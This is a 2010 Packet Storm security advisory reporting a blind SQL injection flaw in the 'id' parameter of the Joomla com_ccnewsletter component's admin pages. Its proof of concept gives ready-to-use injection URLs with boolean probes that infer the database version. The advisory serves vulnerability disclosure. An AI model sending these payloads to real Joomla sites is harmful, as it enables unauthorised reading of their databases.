Joomla CCNewsLetter Blind SQL Injection

2010-01-29T00:00:00
ID PACKETSTORM:85731
Type packetstorm
Reporter bhunt3r
Modified 2010-01-29T00:00:00

Description

                                        
                                            `[~]>> ...[BEGIN ADVISORY]...  
  
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!  
  
[~]>> TITLE: Joomla (com_ccnewsletter) BLIND SQL Injection Vulnerability   
[~]>> LANGUAGE: PHP  
[~]>> DORK: N/A  
[~]>> RESEARCHER: B-HUNT3|2  
[~]>> CONTACT: bhunt3r[at_no_spam]gmail[dot_no_spam]com  
[~]>> TESTED ON: LocalHost  
[~]>> PRE-REQUERIMENTS: Privileged user  
  
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!  
  
[~]>> DESCRIPTION: Input var id is vulnerable to SQL Code Injection  
[~]>> AFFECTED VERSIONS: Confirmed in 1.0.5 but probably other versions also  
[~]>> RISK: Low/Medium  
[~]>> IMPACT: Execute Arbitrary SQL queries  
  
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!  
  
[~]>> PROOF OF CONCEPT:  
  
[~]>> http://[SERVER]/[JOOMLA_PATH]/administrator/index.php?option=com_ccnewsletter&controller=sendNewsletter&task=ccsend_all_first&id=[SQL]  
  
[~]>> {RETURN TRUE::RETURN FALSE}  
  
[~]>> http://[SERVER]/[JOOMLA_PATH]/administrator/index.php?option=com_ccnewsletter&controller=sendNewsletter&task=ccsend_all_first&id=2+AND+5=substring(@@version,1,1)  
[~]>> http://[SERVER]/[JOOMLA_PATH]/administrator/index.php?option=com_ccnewsletter&controller=sendNewsletter&task=ccsend_all_first&id=2+AND+4=substring(@@version,1,1)  
  
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!  
  
[~]>> ...[END ADVISORY]...  
  
`